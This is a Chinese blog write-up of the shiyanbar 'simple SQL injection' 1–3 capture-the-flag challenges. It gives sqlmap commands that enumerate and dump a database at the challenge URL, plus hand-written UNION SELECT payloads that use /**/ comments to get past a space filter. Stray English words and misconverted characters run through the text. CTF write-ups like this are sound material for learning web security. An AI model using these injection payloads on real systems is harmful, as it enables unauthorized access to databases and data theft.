作题是最好的老师php
首先先来分享一下我用来练手的题目,实验吧中的简单的sql注入1,2,3python
不得不说,sql注入真是一个神奇的东西,至少我之前看起来一点头绪都没有的题目能入手了web
首先是简单的sql注入3(别问我为何不是1)sql
打开连接以后发现数据库
陷入沉思,这时候我决定使用sqlmap对他进行sql注入orm
在终端输入python2 sqlmap.py -u http://ctf5.shiyanbar.com/web/index_3.php?id=1 --dbs,而后就开始等他跑,固然跑的过程有点长,就不贴图了blog
最终结果获得io
3个表,这可还行,而后咱们打开web1看看里面有什么列table
python2 sqlmap.py -u http://ctf5.shiyanbar.com/web/index_3.php?id=1 --tables -D web1form
emmmmm,熟悉的字眼,是flag!
因而咱们再进入列看看
python2 sqlmap.py -u http://ctf5.shiyanbar.com/web/index_3.php?id=1 --columns -T flag -D web1
flag已经出现了,这时候咱们只须要把它dump出来就行了
python2 sqlmap.py -u http://ctf5.shiyanbar.com/web/index_3.php?id=1 --dump -C flag -T flag -D web1
最终获得答案 flag{Y0u_@r3_5O_dAmn_90Od}
固然,这样可能比较麻烦,因此第二题我就换了一种方法
输入1发现,那咱们再输入1 and 1 = 1
报错了,emmmmm。因而看了一下别人的wp,原来报SQLi detected!,说明有防御;name: baloteli 说明过滤了“空格”
因此咱们先查看有哪些数据库
1'/**/union/**/select/**/schema_name/**/from/**/information_schema.schemata/**/where/**/'1'='1
好家伙,又是web1,那咱们再看看有什么表
1'/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/'1'='1
找到了这个,那咱们再看看里面有什么东西
1'/**/union/**/select/**/column_name/**/from/**/information_schema.columns/**/where/**/'1'='1
最后输入1'/**/union/**/select/**/flag/**/from/**/web1.flag/**/where/**/'1'='1
答案就出来了flag{Y0u_@r3_5O_dAmn_90Od}
最后咱们来讲一下简单的sql注入1
固然个人作法和2同样,只不过看列的时候出现了一点问题
因而我直接就进行了最后一步,但愿能获得答案,固然最后仍是运气好获得答案了
flag{Y0u_@r3_5O_dAmn_90Od}
但愿有dalao能解答一下我最后遇到的问题,欢迎评论